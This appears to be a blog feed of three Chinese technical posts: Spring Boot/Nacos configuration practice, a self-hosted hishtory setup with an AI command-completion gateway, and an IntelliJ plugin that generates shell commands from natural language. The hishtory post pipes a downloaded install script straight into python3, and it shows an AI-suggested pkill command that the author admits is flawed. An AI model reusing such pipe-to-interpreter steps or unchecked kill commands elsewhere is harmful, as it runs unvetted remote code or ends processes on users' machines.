    private Duration defaultExpiration = Duration.ofHours(1);

    private Pool pool = new Pool();
    private Redisson redisson = new Redisson();
    private Jedis jedis = new Jedis();

    @Data
    public static class Pool {
        @Min(1) private int maxActive = 20;
        @Min(0) private int maxIdle = 10;
        @Min(0) private int minIdle = 5;
        @DurationMin(millis = 100)
        private Duration maxWait = Duration.ofSeconds(10);
    }

    @Data
    public static class Redisson {
        private String mode = "single";
        @NotEmpty private String address;
        private String password;
        private int database = 0;
    }
}

完成后，使用者在 yaml 里输入 framework.cache.，IDE 自动补全所有可配置项。不需要翻文档，不需要记 key。

如果配置值不合法——比如 maxActive = -1——启动阶段就抛异常，而不是等到运行时才发现连接池创建失败。这就是”快速失败”原则：运行时暴露的问题越少，系统的可靠性越高。

短信服务商类型这种 String 配置，改成枚举：

@Data
@ConfigurationProperties(prefix = "framework.sms")
public class SmsProperties {
    private SmsProvider provider = SmsProvider.RYD;   // 枚举，杜绝拼写错误
}

public enum SmsProvider {
    RYD, TYFO
}

开发者输入 framework.sms.provider= 的时候，IDE 只提示 ryd 和 tyfo 两个合法值。想输错都很难。

第二步：配置校验

校验不是可选项。想想这些场景：

有人把 maxActive 设成 -1 → 启动时不报错，运行时创建连接池失败；
有人把 redis.address 留空 → NullPointerException 在第一次缓存操作时才发生；
有人设了 mode=cluster 但没配 cluster.nodes → 运行时连接失败。

这些都可以用 JSR 303 注解在编译阶段发现：

@Data
@ConfigurationProperties(prefix = "framework.cache")
@Validated
public class CacheProperties {

    @AssertTrue(message = "集群模式必须配置 cluster.nodes")
    public boolean isClusterNodesValid() {
        if ("cluster".equals(redisson.getMode())) {
            return redisson.getCluster() != null 
                && !redisson.getCluster().getNodes().isEmpty();
        }
        return true;
    }
}

启动时如果校验不通过，Spring Boot 直接拒绝启动，把问题暴露在最早期。

第三步：Spring Boot 配置加载顺序里的坑

配置统一之后，下一个问题是这些配置放在哪。框架在从 2.x 往 3.x 升级的过程中，遇到了一个经典的配置加载顺序问题。

在 Spring Cloud 2020+ 版本中，bootstrap.yml 被废弃了，所有配置统一放在 application.yml 中。这本身是个好的简化方向，但有一个坑：spring.config.import 的执行时机早于 profile 文件的加载。

这意味着你不能把 spring.profiles.active 相关的 Nacos 地址放到 application-test.yml 这种 profile 文件中：

# application.yml
spring:
  profiles:
    active: test
  config:
    import: nacos:share-config.yaml              # 此时还没加载 application-test.yml！

# application-test.yml
spring:
  cloud:
    nacos:
      server-addr: 10.0.0.1:8848                 # 这个配得太晚了，Nacos 加载已经结束了

正确的做法是把所有 profile 相关的 Nacos 配置都放在 application.yml 中，用 spring.config.activate.on-profile 做条件激活：

# application.yml
spring:
  profiles:
    active: local
  application:
    name: @project.artifactId@
  config:
    import:
      - nacos:share-config.yaml?refreshEnabled=false&group=DEFAULT_GROUP
      - nacos:${spring.application.name}.yaml?refreshEnabled=true&group=DEFAULT_GROUP

---
spring:
  config:
    activate:
      on-profile: local
  cloud:
    nacos:
      server-addr: 127.0.0.1:8848
      config:
        namespace: local
      discovery:
        namespace: local

---
spring:
  config:
    activate:
      on-profile: dev
  cloud:
    nacos:
      server-addr: nacos-dev.internal:8848
      config:
        namespace: dev
      discovery:
        namespace: dev

这个文件虽然长了点，但它是可预测的——你看一眼就知道 local 环境连哪个 Nacos，dev 环境连哪个 Nacos。不会出现”local 环境配置在 application-local.yml 里，但 application-local.yml 加载太晚导致 Nacos 连不上”的问题。

很多人被这个问题坑过。排查起来极其痛苦——没有报错，Nacos 也不连，所有 Nacos 配置都不生效，但你找不到原因。所以我把这个写成了一条铁律：不要把 spring.cloud.nacos.* 配置单独放到 profile 文件中。

第四步：共享配置分层

配置整理好之后，还要解决”共享”的问题。十几个微服务，有些配置是共通的——日志格式、Feign 超时、MyBatis 配置、数据库连接池配置。如果每个服务抄一遍，改一次得改十几个地方。

我们的做法是用 Nacos 的共享配置：

# share-config.yaml —— 放在 Nacos 中，所有服务共用
spring:
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    druid:
      initial-size: 5
      min-idle: 5
      max-active: 20
      max-wait: 60000

feign:
  sentinel:
    enabled: true

mybatis-plus:
  mapper-locations: classpath*:com/xxx/**/*Dao.xml
  configuration:
    map-underscore-to-camel-case: true

每个服务在自己的 Nacos 配置中只写自己特有的东西：

# user-service.yaml
server:
  port: 9003
  servlet:
    contextPath: /user/api

spring:
  datasource:
    druid:
      url: jdbc:postgresql://${db-address}/user_service?currentSchema=public

三层配置优先级：服务专属配置 > 共享配置 > 框架默认值。服务可以覆写共享配置中的任意值。

还有一个容易忽视的点：共享配置中不应该有安全敏感信息的默认值。比如 SM2 密钥，框架不应该提供默认的，而是要业务方显式配置。如果一个框架提供了 SM2 默认密钥，绝大多数业务方不会去改，那加密就成了摆设。

# 共享配置中这样写就够了
secret:
  sm2:
    privateKey:    # 留空，强制业务方显式配置
    publicKey:     # 留空

这不是给使用者制造麻烦，这是保护他们。

配置管理这篇已经是第五篇了。回顾一下这几篇文章串起来的逻辑：先从整体架构切入（第一篇），然后落到工程规范（第二篇），接着深入 Response 和异常处理的设计细节（第三篇），再到缓存组件的接口和实现重构（第四篇），这篇讲配置管理的系统性优化。下一篇，我们聊代码质量保障——Checkstyle、PMD、SonarQube 怎么在一个项目型组织中落地，不是理想化的”工具选型”，而是真实地面对”历史代码太多、团队成员抵触”的现实。

家里十几台服务器的命令历史，被我塞进了一个 hishtory：顺便接上自建 AI 网关

Wed, 11 Feb 2026 00:00:00 GMT

前言

家里这些年陆陆续续堆起来的服务器，现在打开 ~/.ssh/config 数了一下，大大小小十几个 entry：PVE 主节点、PVE 子节点、NAS、软路由、一堆 LXC、几台跑服务的虚拟机、再加上两台 Mac mini。

多了之后就有个很典型的痛苦场景：

“我之前写过一条 ffmpeg 命令把 MKV 转 MP4 的，在哪台机器上来着？”

然后就开始 ssh 每台机器跑一遍 history | grep ffmpeg，还翻不到。因为 zsh 默认的 history 是按机器本地存的，一旦换了机器就没了。更烦的是有时候想在一批新机器上统一跑几条命令（比如同步 docker compose 配置、修 sshd_config），还得一台一台粘贴，粘着粘着就怀疑人生。

我之前也试过 Atuin，功能更花哨，但它的 TUI 相对重一些，而且我只想要一个”跨机器搜索 + 执行时的完整上下文”，并不需要太多仪式感。最后选定了 hishtory，理由很简单：

记录的上下文足够多：命令、cwd、退出码、运行时长、主机名、时间，一条都不少；
自带端到端加密 + 自建后端，数据全在家里机器上，不出内网；
Ctrl+R 弹 TUI，搜全家机器，模糊匹配、按主机名过滤都行；
附赠一个 AI 自然语言补全（? list all files larger than 1MB 这种），我本来就有自建的 OneAPI 网关，对接起来不亏。

这篇就记录一下完整的折腾过程，以及那个折腾我最久的坑：AI endpoint 必须填完整 URL。

先把自建 server 架起来

hishtory 所有数据默认会发到官方托管的服务器，虽然是端到端加密的，但我还是习惯自建。官方提供了 Go 写的后端 binary，也有 docker-compose 模板，我直接用 Docker 起一个，数据库用 SQLite（我就自己用，完全没必要上 Postgres）。

我的自建 server 跑在家里一台常年在线的小 x86 机器上（192.168.31.110），对外暴露 4000 端口：

# docker-compose.yml
services:
  hishtory:
    image: ghcr.io/ddworken/hishtory:latest
    container_name: hishtory-server
    restart: unless-stopped
    ports:
      - "4000:8080"
    environment:
      - HISHTORY_SQLITE_DB=/data/hishtory.db
      - HISHTORY_MAX_NUM_USERS=1      # 只给自己用，限制注册
    volumes:
      - ./data:/data

起来之后 curl http://192.168.31.110:4000/api/v1/ping 能返回就算成了。

💡 我没有把这个 server 暴露到公网。出门在外的机器（比如我那台 MacBook）是走 WireGuard 回家里局域网的，所以所有客户端填的 HISHTORY_SERVER 都是局域网地址，省掉了一层 Cloudflare 代理和 HTTPS 证书的麻烦。

客户端安装与多机绑定

在第一台机器上跑官方的一键安装脚本：

# 先指定 server，再装
export HISHTORY_SERVER="http://192.168.31.110:4000"
curl https://hishtory.dev/install.py | python3 -

装完之后看一下状态：

hishtory status

输出里会有一个 secret key（形如 xxxx-xxxx-xxxx-xxxx），这个就是”我的账号凭证”，后面所有机器都靠它加入到同一个数据池。

然后在其他每一台机器上，都用这段：

export HISHTORY_SERVER="http://192.168.31.110:4000"
curl https://hishtory.dev/install.py | python3 -
hishtory init $YOUR_HISHTORY_SECRET

装完之后，它会往你 shell 的 rc 文件里（.bashrc / .zshrc / fish config）加一段 hook，后续每一条命令都会被它捕获并异步发回 server。

我的 .zshrc 末尾现在长这样：

# Hishtory Config: https://github.com/ddworken/hishtory
export PATH="$PATH:$HOME/.hishtory"
export HISHTORY_SERVER="http://192.168.31.110:4000"
source $HOME/.hishtory/config.zsh

验证一下跨机器同步

随便在 A 机器上跑一条命令：

echo "hello from A" && date

立刻切到 B 机器，按 Ctrl+R，输入 hello from A，能看到那条记录，并且右边显示主机名是 A —— OK，全家互通了。

真正解决痛点的查询语法

跨机搜索只是第一步，hishtory 的查询语法才是解决”我之前在哪里跑过 XXX”这类问题的关键：

查询	含义
`ffmpeg`	所有包含 `ffmpeg` 的命令
`ffmpeg hostname:nas`	只看 `nas` 这台机器上跑过的 `ffmpeg`
`exit_code:0 docker`	所有成功跑完的 `docker` 命令（过滤掉自己打错的）
`"docker compose up" after:2025-03-01`	3 月之后 `docker compose up` 的命令
`user:root`	只看以 root 身份跑过的命令

我最常用的是 hostname:xxx，因为有时候就是很清楚地记得”这条命令我肯定是在 pve1 上跑的”，但具体是啥忘了，过滤一下立刻就出来。

还有个隐藏技能：这些 query 直接在 TUI（Ctrl+R）里就能用，不用退出来 hishtory query。

顺手改了下显示列

默认那堆列信息量太大，一屏放不下。我把它精简成三列：

hishtory config-set displayed-columns Hostname CWD Command

这样 TUI 里就只剩主机名、目录、命令，看着清爽多了。退出码和时间那些不是每次都关心，真要看的时候按 Ctrl+H 能展开完整信息。

接入自建的 OneAPI —— 这篇的重点坑

前面是常规操作，下面才是我专门想记下来的部分。

hishtory 支持在 Ctrl+R 的 TUI 里，用 ? 开头让 AI 给你生成命令，比如：

? 列出所有大于 1MB 的文件

它会把这段描述发给 OpenAI 的 /v1/chat/completions，拿到建议命令直接填进你 TUI 的输入框。默认指向的是官方 endpoint：

DefaultOpenAiEndpoint = "https://api.openai.com/v1/chat/completions"

但我不想直连 OpenAI（家里网络直连 OpenAI 本来也不稳），我已经有一个 OneAPI 在家里跑着，聚合了一堆渠道的 API，对外暴露 OpenAI 兼容的接口。照理说直接把 endpoint 换过去就行。

第一次配置：我以为只要填 base URL

一开始我是这么配的（大错特错）：

hishtory config-set ai-completion-endpoint https://oneapi.dong4j.site
export OPENAI_API_KEY="sk-xxxxx"
export OPENAI_API_MODEL="xxx-model"

然后 TUI 里打 ? list all files larger than 1MB，返回 404。

Error: 404 page not found

一开始我以为是 OneAPI 那边路由问题，跑去看 OneAPI 的访问日志，发现压根没收到请求，或者收到了但路径是 /，不是 /v1/chat/completions。

搞清楚之后：必须填完整路径

翻了几个 issue 之后才看明白 (#304、#186、PR #231)：

ai-completion-endpoint 的值是整条 URL，hishtory 发请求的时候不会再拼 /v1/chat/completions，而是直接 POST 这个 URL。

这一点和大多数 OpenAI SDK / LangChain 之类库的设计是反过来的 —— 那些通常让你填 base_url，然后内部拼上 /v1/chat/completions。hishtory 是”填啥就打啥”。

所以正确的配法是：

# 公网走 Cloudflare 的入口
hishtory config-set ai-completion-endpoint https://oneapi.dong4j.site/v1/chat/completions

# 或者出门在外走 WireGuard 回家，直接打局域网
hishtory config-set ai-completion-endpoint http://192.168.31.104:3000/v1/chat/completions

配完之后把 API Key 和模型也设置上：

export OPENAI_API_KEY="sk-xxxxxxxx"         # OneAPI 里签出来的令牌
export OPENAI_API_MODEL="gpt-4o-mini"       # 或者你 OneAPI 里绑的任何模型

回到 TUI，再来一次 ? list all files larger than 1MB，瞬间就有了：

find . -type f -size +1M

顺手再来一个常用的：

? 杀掉所有 node 进程但别动 npm

它会给我 pkill -f '^node' | grep -v npm，细节上有点小问题但大方向对，改两下就能用。

我的完整配置（zshrc 片段）

这是我现在每台机器上通用的配置段，抄的时候把 HISHTORY_SERVER 和 OPENAI_API_* 改成你自己的：

# ----- hishtory -----
export PATH="$PATH:$HOME/.hishtory"
export HISHTORY_SERVER="http://192.168.31.110:4000"
export OPENAI_API_MODEL="gpt-4o-mini"
export OPENAI_API_KEY="sk-xxxxxxxx"
source $HOME/.hishtory/config.zsh

ai-completion-endpoint 因为是存在 hishtory 配置里的（~/.hishtory/config.json），所以只需要首次配置一次，不用写到 rc 文件里。

一些小 Tips

几个用一段时间后才摸清楚的细节：

临时不想被记录：跑敏感命令（比如带密码的 mysql 登录）前先 hishtory disable，跑完再 hishtory enable。或者命令前加个空格（HISTCONTROL=ignorespace 默认行为）某些 shell 里也会被 hishtory 忽略。
误记录了怎么办：hishtory redact <keyword> 把含关键字的历史批量删除，TUI 里选中某条后 Ctrl+K 也能删单条。
自己升级客户端：hishtory update 就行，不用重新跑 install.py。
按自定义列排查：可以加 custom-columns，比如我给每条命令都附上当时 git 仓库的 remote：
```
hishtory config-add custom-columns git_remote \
  '(git remote -v 2>/dev/null | grep origin 1>/dev/null ) && git remote get-url origin || true'
hishtory config-add displayed-columns git_remote
```
这样在 TUI 里能直接看出”这条命令当时是在哪个仓库里跑的”，找陈年代码命令的时候很有用。

最后聊两句

用下来最直观的感受是：我终于不用在 ssh 窗口之间来回翻 history 了。

所有机器的命令像被摊在同一张桌子上：

在 MacBook 上按一下 Ctrl+R，能看到自己上周在 PVE 主节点上敲的那条 qm set；
把它选中回车，命令就填到当前 MacBook 的终端里 —— 如果是在 MacBook 上跑就直接跑，如果要去另一台机器上跑，直接复制粘贴过去就行；
AI 补全顺便能把”我只会描述不会写”的命令一把生成出来，当一个 “shell 版 Copilot” 也挺香。

如果你也在搞 HomeLab、也被多机器 history 搞得有点抓狂，强烈推荐花半小时把 hishtory 自建一下。真正的时间成本就是那个 AI endpoint 的坑 —— 现在你知道要填完整 URL 了，那就没有坑了。

参考：

让终端「听懂人话」：在 IntelliJ IDEA 内置终端用自然语言生成 Shell 命令

Fri, 06 Feb 2026 00:00:00 GMT

现有方案的痛点

终端里的大量操作有一个共同特征：高频、临时、简单。查个端口、扫个日志、打包个镜像，难的不是算法，是「这条 one-liner 参数怎么拼」。市面上的解决方案各有各的问题：

通用 AI 工具（ChatGPT、Cursor 等）：你得切换窗口、描述需求、从一大段解释里抠出那一行命令。而且通用 AI 工具加载了大量 Agent、MCP、Skill 上下文，你只是想生成一行 find，也要消耗大量 token。

重型 AI CLI（Claude Code、Codex CLI 等）：非常适合复杂任务和多步推理，但为了「删七天前的日志」这种小事进入一整套交互会话，心智与路径都偏重。

查文档 / 搜索引擎：每次都要离开终端、搜索、复制、粘贴，打断心流。

这个场景的 AI 调用其实非常简单：输入是自然语言描述，输出是可执行的 Shell 命令，一轮问答就够了。把这种极简的 AI 调用直接嵌到 IDE 内置终端里，不需要离开编辑器，不多消耗一个 token。

功能一览

功能	入口	说明
TAB 生成命令	终端输入行 + TAB	以触发前缀（默认 `#`）开头时拦截 TAB，用 AI 生成命令替换当前行
Quick Prompt 弹窗	Ctrl+I	弹出输入框，输入自然语言后生成命令，支持插入/运行/复制/新文件/编辑器插入
上下文感知	可选开启	自动注入 OS、Shell、当前目录、Git 仓库、Docker/K8s、技术栈、AI 历史
流式输出	可选开启	开启后 AI 响应以流式方式返回，延迟更低
历史记录	Quick Prompt 弹窗	保存最近的提问和生成结果，支持查看和复制
Tab 标题装饰	自动	终端 Tab 标题前加 🤖 标识，表明启用了 Terminal AI
状态栏快捷设置	状态栏弹窗	快速切换 AI 服务商、触发前缀、开关 Terminal AI/流式输出/上下文

支持 UNIX（bash/zsh/fish）和 Windows（PowerShell/cmd），通过 IntelliAI Engine 统一调用 OpenAI、Anthropic、Ollama 等多种 AI 后端。

核心架构

插件的完整数据流：

flowchart TD
    A["用户在终端输入行"] --> B{"以触发前缀开头?"}
    B -->|否| C["TAB 执行默认补全"]
    B -->|是| D["拦截 TAB 键"]
    D --> E["提取输入内容<br/>去除前缀 + Shell Prompt"]
    E --> F{"启用上下文?"}
    F -->|是| G["TerminalContextService<br/>注入 OS/Shell/Git/技术栈/历史"]
    F -->|否| H["直接使用输入"]
    G --> I["构建 Prompt"]
    H --> I
    I --> J["AIService<br/>(IntelliAI Engine)"]
    J --> K{"流式输出?"}
    K -->|是| L["TerminalAIStreamResponseListener<br/>累积流式数据块"]
    K -->|否| M["TerminalAIResponseListener<br/>接收完整响应"]
    L --> N["extractCommand()<br/>提取可执行命令"]
    M --> N
    N --> O{"命令合法?"}
    O -->|是| P["替换终端当前行"]
    O -->|否| Q["显示错误提示"]

双终端视图兼容

IntelliJ 的 Terminal 栈在迭代过程中存在两种实现：TerminalView（新终端前端）和 JBTerminalWidget（旧终端组件）。同一套「取当前行 / 写回当前行」的逻辑，必须在两种 API 上都能跑通。

// TerminalAiGenerateAction.java - getTerminalView()
public static TerminalView getTerminalView(@NotNull AnActionEvent e) {
    DataKey<TerminalView> key = DataKey.create("TerminalView");
    TerminalView view = e.getData(key);
    if (view != null) return view;
    // 降级到小写 key
    DataKey<TerminalView> keyLower = DataKey.create("terminalView");
    return e.getData(keyLower);
}

获取到终端实例后，根据是 TerminalView 还是 JBTerminalWidget 走不同的输入提取和行替换路径：

// TerminalAiGenerateAction.java - actionPerformed()
TerminalView terminalView = getTerminalView(e);
JBTerminalWidget jbWidget = e.getData(JBTerminalWidget.TERMINAL_DATA_KEY);
if (terminalView == null && jbWidget == null) {
    // 没找到终端，提示错误
    return;
}
// 根据类型走不同路径
InputInfo inputInfo = terminalView != null
    ? getInputInfo(terminalView, settings, shellType)
    : getInputInfo(jbWidget, settings, shellType);

TAB 触发机制

TAB 键是全世界最忙的键——默认绑定着终端补全。插件通过 TerminalAllowedActionsProvider 扩展点，把 TAB 的 AI 生成动作约束在「满足前缀条件时才认领」，不抢走默认行为。

// TerminalAiAllowedActionsProvider.java
public class TerminalAiAllowedActionsProvider implements TerminalAllowedActionsProvider {
    @Override
    public @NotNull List<String> getActionIds() {
        return List.of(
            "dev.dong4j.zeka.stack.idea.plugin.terminal.action.TerminalAiGenerateAction",
            "dev.dong4j.zeka.stack.idea.plugin.terminal.action.TerminalAiQuickPromptAction"
        );
    }
}

触发条件：当前输入行以 triggerPrefix（默认 #）开头时，TAB 才进入 AI 生成语义：

// TerminalAiGenerateAction.java - extractPrompt()
private static String extractPrompt(@NotNull String currentLine,
                                    @NotNull String prefix,
                                    @NotNull TerminalShellType shellType) {
    String trimmed = currentLine.stripLeading();
    int index = trimmed.indexOf(prefix);
    if (index < 0) return null;  // 不匹配前缀，不拦截
    String content = trimmed.substring(index + prefix.length());
    return content.strip();
}

前缀可以从状态栏快速切换，预设选项：#、::、??，也支持自定义输入。

输入提取逻辑

从终端提取用户输入比想象中复杂。终端输出包含 Shell Prompt（$、>、PS ...>），还可能有多行续行（以 \ 结尾）。插件做了多层处理：

去除 Shell Prompt 前缀

// TerminalAiGenerateAction.java - stripPromptPrefix()
private static String stripPromptPrefix(@NotNull String line, @NotNull TerminalShellType shellType) {
    String trimmed = line.stripLeading();
    if (shellType == TerminalShellType.WINDOWS) {
        // PowerShell: "PS C:\Users> " → 提取 ">" 后面的内容
        if (trimmed.startsWith("PS ") && trimmed.contains(">")) {
            int separator = trimmed.indexOf('>');
            return trimmed.substring(separator + 1).stripLeading();
        }
        return trimmed;
    }
    // Unix: "$ " / "$" / "> " / ">" → 去掉前缀
    if (trimmed.startsWith("$ ")) return trimmed.substring(2);
    if (trimmed.startsWith("> ")) return trimmed.substring(2);
    return trimmed;
}

续行合并

当用户输入了以 \ 结尾的多行命令时，插件会向前遍历终端输出，将多行合并为一条逻辑行：

// TerminalAiGenerateAction.java - getLastLogicalLine()
// 从最后一行开始向上遍历
while (true) {
    int prevIndex = findPreviousNonBlankIndex(lines, index - 1);
    if (prevIndex < 0) break;
    String prevRaw = lines.get(prevIndex).stripTrailing();
    if (!prevRaw.endsWith("\\")) break;  // 没有续行符，停止合并
    parts.addFirst(normalizeInputLine(prevRaw, shellType));
    multiLine = true;
    index = prevIndex;
}
return new LogicalLine(String.join(" ", parts).strip(), multiLine);

AI 请求构建与上下文注入

提取到用户输入后，插件会根据是否启用了上下文检测来构建请求。

sequenceDiagram
    participant User as 用户输入
    participant Action as TerminalAiGenerateAction
    participant Context as TerminalContextService
    participant Engine as AIService (Engine)

    User->>Action: "# 查找7天前的日志"
    Action->>Action: 去除前缀 → "查找7天前的日志"
    alt 启用上下文
        Action->>Context: buildUserPrompt("查找7天前的日志", terminalView)
        Context->>Context: collectContext() → OS/Shell/Git/技术栈/历史
        Context-->>Action: 增强后的 Prompt
    else 未启用上下文
        Action->>Action: 直接使用原始输入
    end
    Action->>Action: terminalTemplate.replace("{content}", userContent)
    Action->>Engine: AIChatRequest(systemPrompt, userPrompt)
    Engine-->>Action: AI 生成的命令

终端上下文服务

TerminalContextService 是一个 Project 级别的服务，负责收集当前终端的环境信息。这些信息会以结构化格式注入到 prompt 中，让 AI 理解当前环境：

// TerminalContextService.java - buildPrompt()
sb.append("【当前目录上下文】:\n");
sb.append("- os: ").append(context.shellEnv.os).append("\n");
sb.append("- shell: ").append(context.shellEnv.shell).append("\n");
sb.append("- current-directory: ").append(context.currentDirectory).append("\n");
sb.append("- git: ").append(context.projectInfo.isGit).append("\n");
// Dockerfile、docker-compose、kubernetes、build-tool、language...
// AI 交互历史（最近 5 条）

上下文检测的具体范围：

检测项	来源	说明
OS	`System.getProperty("os.name")`	linux / mac os x / windows
Shell	`System.getenv("SHELL")`	zsh / bash / fish
当前目录	`terminalView.getCurrentDirectory()`	终端实际所在目录
Git 仓库	向上查找 `.git` 目录	读取 `.git/config`（截断 600 字符）
Dockerfile	检查当前目录下 `Dockerfile`	boolean
Docker Compose	检查 `docker-compose.yml` / `.yaml`	boolean
Kubernetes	检查 `k8s/`、`manifests/`、`.kube/`、`.helm/`	boolean
构建工具	`pom.xml` → maven，`build.gradle` → gradle，`package.json` → npm，`go.mod` → go，`pyproject.toml` → pip	优先级按顺序匹配
语言	由构建工具推断	java / javascript / go / python
AI 历史	内存队列，最多 5 条	格式化为 Q/A 对注入

上下文结果会按当前目录路径缓存，避免重复扫描文件系统。

流式与非流式响应

插件支持两种响应模式，在设置中切换：

非流式（默认）

直接调用 aiService.generateContent()，等待完整响应返回后一次性处理：

// TerminalAiGenerateAction.java
TerminalAIResponseListener listener = new TerminalAIResponseListener(project);
String result = aiService.generateContent(project, request, providerConfig, listener);
handleAiResult(project, terminalView, jbWidget, inputInfo, result, ...);

流式

使用 CountDownLatch 等待流式完成，最大超时 2 分钟。TerminalAIStreamResponseListener 在 onChunk 中累积数据，onComplete 中统一处理：

// TerminalAIStreamResponseListener.java
@Override
public void onChunk(@NotNull String chunk) {
    if (chunk.isEmpty()) return;
    streamBuffer.append(chunk);  // 累积流式数据
}

@Override
public void onComplete(@NotNull String fullText) {
    try {
        String result = fullText.isBlank() ? streamBuffer.toString() : fullText;
        TerminalAiGenerateAction.applyAiResult(project, terminalView, jbWidget,
                                                inputInfo, result, ...);
    } finally {
        streamLatch.countDown();  // 释放锁，允许主流程继续
    }
}

流式模式下，发送请求、接收数据、处理完成等每个阶段都会通过 ProgressIndicator 更新进度状态。

响应清理与命令提取

AI 返回的文本不能直接插入终端。插件在写回终端前做了多层清洗：

// TerminalAiGenerateAction.java - extractCommand()
private static String extractCommand(@NotNull String result) {
    String[] lines = result.replace("\r", "").split("\n");
    String candidate = null;
    boolean inFence = false;
    for (String line : lines) {
        String trimmed = line.trim();
        if (trimmed.startsWith("```")) {   // 跳过代码块
            inFence = !inFence;
            continue;
        }
        if (inFence) continue;             // 代码块内不处理
        if (trimmed.isEmpty()) continue;   // 跳过空行
        candidate = trimmed;               // 第一个非空行就是命令
        break;
    }
    return candidate == null ? result.trim() : candidate;
}

提取到命令后，还会做合法性校验：

// TerminalAiGenerateAction.java - isValidShellOutput()
private static boolean isValidShellOutput(@NotNull String output, @NotNull TerminalShellType shellType) {
    // UNIX: 必须以字母、数字、/、.、$ 开头
    // Windows: 必须以字母、数字、\、.、& 开头
    // 不包含 ```（代码块标记）
    // 不包含连续换行 \n\n
}

通过校验的命令才会替换到终端当前行。

Shell 类型感知

通过 TerminalShellDetector 检测当前操作系统，区分 UNIX 和 Windows 两种行为分支：

// TerminalShellDetector.java
public static TerminalShellType detect(@Nullable TerminalView terminalView,
                                       @Nullable JBTerminalWidget widget) {
    String osName = System.getProperty("os.name", "unknown").toLowerCase(Locale.ROOT);
    return osName.contains("win") ? TerminalShellType.WINDOWS : TerminalShellType.UNIX;
}

Shell 类型影响三个行为：

Prompt 前缀去除：UNIX 去除 $ / >，Windows 去除 PS xxx> 或 >
命令合法性校验：Windows 允许 \ 和 & 开头
当前行替换：Windows 额外发送（Ctrl+C）取消当前输入

当前行替换

命令通过校验后，替换终端当前行。核心思路是先清行、再写入：

// TerminalAiGenerateAction.java - replaceCurrentLine() [TerminalView]
private static void replaceCurrentLine(@NotNull TerminalView terminalView,
                                       @NotNull String newText,
                                       boolean multiLine,
                                       @NotNull TerminalShellType shellType) {
    if (shellType == TerminalShellType.WINDOWS) {
        sendText(terminalView, "");  // Ctrl+C，取消当前输入
        sendText(terminalView, "");  // Ctrl+U，清空行
        sendText(terminalView, newText);
        return;
    }
    if (multiLine) {
        sendText(terminalView, "");  // 多行输入先 Ctrl+C
        sendText(terminalView, newText);
        return;
    }
    sendText(terminalView, "");  // Ctrl+U，清空当前行
    sendText(terminalView, newText);
}

JBTerminalWidget 的替换通过 widget.getTtyConnector().write() 实现，逻辑一致。

替换完成后，用户看到的是 AI 生成的命令出现在当前行，可以审阅后回车执行。同时命令和原始问题会被记录到 AI 历史（最多 5 条），供后续上下文注入使用。

Quick Prompt 弹窗

除了 TAB 触发，插件还提供了 Ctrl+I 快捷键打开的 Quick Prompt 弹窗，适用于不想修改当前输入行内容的场景。弹窗包含：

输入框：输入自然语言需求
生成按钮：调用 AI 生成命令
插入按钮：将命令插入到终端当前行（不执行）
运行按钮：将命令插入到终端并立即执行（追加 \n）
更多菜单：复制到剪贴板、在新编辑器中打开、插入到当前编辑器、查看历史记录

Quick Prompt 弹窗内部调用的是同一个 AI 生成链路，但因为弹窗本身可以展示生成结果，用户可以先看到命令再决定是否应用。

Tab 标题装饰

插件通过 ProjectActivity 在项目启动时监听终端 Tab 的创建事件，自动在标题前添加 🤖 标识：

// TerminalTabTitleDecorator.java
private static boolean tryDecorate(@NotNull Content content) {
    String displayName = content.getDisplayName();
    if (baseName.startsWith(AI_MARK)) return true;  // 已装饰
    content.setDisplayName(AI_MARK + baseName);       // 🤖 + 原标题
    content.setTabName(AI_MARK + baseName);
    content.putUserData(DECORATED_KEY, Boolean.TRUE);
    return true;
}

装饰只在 enableTerminalAI 开启时生效，关闭后不再装饰新 Tab。使用 WeakHashMap 和 Key<Boolean> 避免内存泄漏和重复装饰。

设置页面配置

设置面板位于 Settings → Tools → IntelliAI Engine → IntelliAI Terminal，包含以下配置项：

AI 服务商选择

从全局已配置的 AI 服务商列表中选择 Terminal 插件使用的默认服务商。配置在 Engine 的全局设置中管理，Terminal 插件只做选择。

基础设置

配置项	类型	默认值	说明
启用 Terminal AI	复选框	✅ 开启	总开关，控制是否在终端中拦截触发前缀并执行 AI 生成
启用流式输出	复选框	❌ 关闭	开启后 AI 响应以流式方式返回
启用上下文检测	复选框	❌ 关闭	注入 OS/Shell/Git/技术栈等上下文信息，可能增加延迟
触发前缀	下拉框（可编辑）	`#`	只有输入行以此前缀开头时才触发 AI 生成。预设选项：`#`、`::`、`??`

高级设置（Prompt 模板）

点击「显示高级设置」后展开，包含两个 Tab：

系统提示词：设定 AI 的角色和行为准则。默认提示词严格约束 AI「只输出可执行的 shell 命令，不允许输出解释、注释、Markdown、代码块标记、占位符」
用户提示词模板：使用 {content} 占位符拼接用户输入。默认模板为「根据下面的描述，生成最合适的一条 shell 命令」

两个模板都有「重置为默认值」按钮。如果用户修改后又改回默认值，会自动同步提示词模板版本号。

提示词模板版本管理

内置提示词更新时，PROMPT_TEMPLATE_VERSION 会递增。插件在启动时检测版本差异，通过 PromptTemplateVersionNotifier 提示用户关注模板变更，避免用户使用过时的默认提示词。

状态栏快捷设置

除了设置面板，插件还在状态栏提供了快捷操作菜单：

AI 服务商切换：快速切换 Terminal 使用的 AI 服务商
触发前缀切换：快速切换 #、::、??
Terminal AI 开关：一键启用/禁用
流式输出开关：一键启用/禁用
上下文检测开关：一键启用/禁用
打开设置：跳转到完整设置面板

模块结构

intelli-ai-terminal/src/main/java/
├── action/
│   ├── TerminalAiGenerateAction.java    # TAB 触发主逻辑（1167行）
│   └── TerminalAiQuickPromptAction.java # Ctrl+I 弹窗（645行）
├── ai/
│   ├── TerminalAIResponseListener.java  # 非流式响应监听
│   └── TerminalAIStreamResponseListener.java # 流式响应监听
├── context/
│   └── TerminalContextService.java      # 终端上下文采集（519行）
├── shell/
│   ├── TerminalShellDetector.java       # Shell 类型检测
│   └── TerminalShellType.java           # UNIX / WINDOWS 枚举
├── settings/
│   ├── SettingsState.java               # 配置持久化
│   ├── TerminalSettingsConfigurable.java # 设置面板入口
│   ├── PromptTemplateVersionNotifier.java # 模板版本变更通知
│   └── ui/
│       └── TerminalSettingsPanel.java   # 设置面板 UI
├── terminal/
│   ├── TerminalAiAllowedActionsProvider.java # TAB 动作约束
│   └── TerminalTabTitleDecorator.java   # Tab 标题装饰
├── statusbar/
│   └── TerminalStatusBarPopupProvider.java # 状态栏弹窗
├── statistics/
│   └── TerminalStatisticsReporter.java  # 统计上报
└── history/
    └── TerminalHistoryState.java        # 历史记录持久化

相关文章:

IntelliAI Engine - 统一接入 30+ AI 服务商的底层平台
